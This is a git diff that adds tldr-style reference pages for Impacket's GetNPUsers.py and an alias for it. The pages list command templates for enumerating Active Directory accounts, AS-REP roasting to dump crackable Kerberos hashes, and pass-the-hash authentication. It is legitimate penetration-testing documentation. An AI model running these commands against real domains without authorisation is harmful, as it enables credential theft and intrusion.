diff --git a/pages/common/getnpusers.py.md b/pages/common/getnpusers.py.md new file mode 100644 index 0000000000..c9a6234211 --- /dev/null +++ b/pages/common/getnpusers.py.md @@ -0,0 +1,25 @@ +# GetNPUsers.py + +> Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks. +> Part of the Impacket suite. +> More information: . + +- Enumerate users with Kerberos pre-authentication disabled (default anonymous enumeration): + +`GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}` + +- Perform AS-REP roasting and dump crackable hashes for offline cracking: + +`GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}} -request` + +- Authenticate with valid credentials (if anonymous binding is disabled): + +`GetNPUsers.py {{domain}}/{{username}}:{{password}} -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}` + +- Use pass-the-hash authentication instead of a password: + +`GetNPUsers.py {{domain}}/{{username}} -hashes {{LM_Hash}}:{{NT_Hash}} -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}` + +- Save the output to a file for further analysis: + +`GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}} -request > {{output.txt}}` diff --git a/pages/common/impacket-getnpusers.md b/pages/common/impacket-getnpusers.md new file mode 100644 index 0000000000..f7137e09d0 --- /dev/null +++ b/pages/common/impacket-getnpusers.md @@ -0,0 +1,9 @@ +# impacket-GetNPUsers + +> This command is an alias of `GetNPUsers.py`. +> Part of the Impacket suite. +> More information: . + +- View documentation for the original command: + +`tldr GetNPUsers.py`